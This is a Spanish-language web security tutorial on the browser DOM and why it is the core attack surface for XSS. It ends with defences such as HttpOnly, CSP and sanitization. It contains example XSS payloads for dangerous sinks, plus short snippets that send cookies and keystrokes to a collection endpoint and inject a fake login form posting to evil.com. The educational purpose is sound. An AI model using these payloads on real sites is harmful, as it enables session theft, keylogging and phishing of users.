El DOM del navegador
Cómo el navegador construye y gestiona la representación viva de una página web, y por qué esto es la superficie de ataque central de XSS.
Del HTML al DOM
Cuando el navegador descarga un archivo HTML, no lo muestra directamente. Lo parsea y construye un árbol de objetos en memoria. A ese árbol se le llama DOM.
<!DOCTYPE html>
<html>
<head>
<title>Mi página</title>
</head>
<body>
<h1 id="titulo">Hola, mundo</h1>
<p class="intro">Bienvenido.</p>
<!-- Comentario -->
</body>
</html>
El navegador construye este árbol de nodos:
Tipos de nodos
Element Node
Cada etiqueta HTML: <div>, <p>, <script>. Puede tener hijos, atributos y eventos.
Text Node
El contenido de texto dentro de un elemento. <p>Este texto</p> crea un Text Node con "Este texto".
Attribute Node
Los atributos de los elementos: id, class, href, src, onclick...
Comment Node
Los comentarios HTML <!-- ... -->. También son nodos del DOM y pueden contener información sensible.
innerHTML), el navegador
parsea ese contenido como HTML. Si ese contenido viene del usuario sin sanitizar, puede
incluir etiquetas <script>, event handlers como onerror, o elementos
que ejecuten código arbitrario.
Objetos principales del DOM
El DOM expone una jerarquía de objetos accesibles desde JavaScript. Los más importantes:
window
El objeto global del navegador. Contiene todo lo demás. Propiedades clave:
window.location— URL actualwindow.document— el DOMwindow.cookies— (no existe, esdocument.cookie)window.localStorage— almacenamiento local
document
El nodo raíz del árbol DOM. Acceso a todo el contenido:
document.cookie— cookies de sesióndocument.title— título de la páginadocument.body— el<body>document.URL— URL completa
location
Información sobre la URL actual. Fuente común de XSS DOM:
location.href— URL completalocation.hash— el fragmento#...location.search— query string?...location.pathname— ruta
navigator
Información sobre el navegador y el usuario:
navigator.userAgent— navegador y OSnavigator.language— idiomanavigator.sendBeacon()— envío de datos en backgroundnavigator.geolocation— posición GPS
Selección de nodos
// Selección de elementos
document.getElementById('titulo') // por ID
document.querySelector('.intro') // primer match de selector CSS
document.querySelectorAll('p') // todos los
document.getElementsByTagName('div') // HTMLCollection de divs
document.getElementsByClassName('nav') // por clase
// Traversal (navegar el árbol)
const el = document.querySelector('h1');
el.parentElement // elemento padre
el.children // hijos directos
el.nextElementSibling // hermano siguiente
el.previousElementSibling // hermano anterior
el.closest('.container') // ancestro más próximo
Cómo JavaScript modifica el DOM
Estas son las operaciones que utiliza XSS para modificar páginas, robar datos y ejecutar código:
Sinks peligrosos — inyectan HTML parseado
// innerHTML — parsea HTML completo (¡incluidos scripts en algunos contextos!)
element.innerHTML = '<img src=x onerror="alert(1)">';
// document.write() — reemplaza el documento completo
document.write('<script>alert(1)</script>');
// outerHTML — reemplaza el elemento completo con su envoltura
element.outerHTML = '<div><script>alert(1)</script></div>';
// insertAdjacentHTML — inserta HTML en posición relativa
element.insertAdjacentHTML('afterend', '<script>alert(1)</script>');
// jQuery equivalentes
$('#el').html('<script>alert(1)</script>');
$('#el').append('<img src=x onerror=alert(1)>');
Sinks seguros — solo texto
// textContent — solo texto plano, no parsea HTML
element.textContent = '<script>alert(1)</script>';
// → muestra el texto literal, no ejecuta nada
// innerText — similar a textContent (respeta CSS)
element.innerText = '<b>usuario</b>';
// → muestra "<b>usuario</b>" literalmente
// setAttribute — cuando el atributo no es evaluado
element.setAttribute('data-user', userInput);
// ⚠️ Pero cuidado con: href, src, onclick, style...
Otros sinks peligrosos
// eval() — ejecuta código JavaScript directamente
eval(userInput); // ❌ nunca con input no confiable
// setTimeout / setInterval con string
setTimeout(userInput, 1000); // ❌ equivalente a eval
setInterval("fetch('/api/'+document.cookie)", 3000); // ❌
// Creación de funciones
new Function(userInput)(); // ❌
// Atributos que ejecutan JS
el.setAttribute('href', 'javascript:alert(1)'); // ❌
el.setAttribute('onclick', userInput); // ❌
el.setAttribute('src', 'javascript:...'); // ❌
// Ver cookies accesibles desde JS
console.log(document.cookie);
// Modificar el título de esta página
document.title = 'DOM modificado!';
// Cambiar el color del fondo
document.body.style.background = '#1a0a0a';
// Crear un elemento nuevo
const div = document.createElement('div');
div.textContent = 'Inyectado con JS';
div.style.cssText = 'position:fixed;top:20px;right:20px;background:#f43f5e;color:white;padding:10px;border-radius:8px;z-index:9999';
document.body.appendChild(div);
¿Cómo se conecta el DOM con XSS?
XSS (Cross-Site Scripting) es fundamentalmente un ataque al DOM. El objetivo del atacante es conseguir que el navegador de la víctima ejecute JavaScript bajo el dominio de la aplicación atacada. Una vez logrado, tiene acceso completo al DOM: cookies, formularios, contenido, historial de navegación.
El ciclo de un ataque XSS
crafts payload
refleja/almacena
parsea HTML
ejecuta JS
recibe datos
Qué puede hacer un atacante con acceso al DOM
Robo de sesión
// Las cookies sin HttpOnly son visibles
fetch('/api/collect?c=' +
encodeURIComponent(document.cookie));
Defacement
// Reemplazar todo el contenido visual
document.body.innerHTML =
'<h1 style="color:red">HACKED</h1>';
Phishing / Fake login
// Inyectar un form falso sobre la página
const overlay = document.createElement('div');
overlay.innerHTML = '<form action="evil.com">
...</form>';
document.body.prepend(overlay);
Keylogging
// Capturar todo lo que teclea el usuario
document.addEventListener('keypress', e =>
fetch('/api/collect?k=' + e.key));
- Same-Origin Policy (SOP): el JS inyectado solo puede leer datos del mismo origen, pero puede enviarlos a cualquier sitio
- Flag HttpOnly: impide que
document.cookiedevuelva cookies marcadas así - Content Security Policy (CSP): cabecera HTTP que restringe qué scripts pueden ejecutarse
- Sanitización de input: escapar
<,>,"antes de insertar en HTML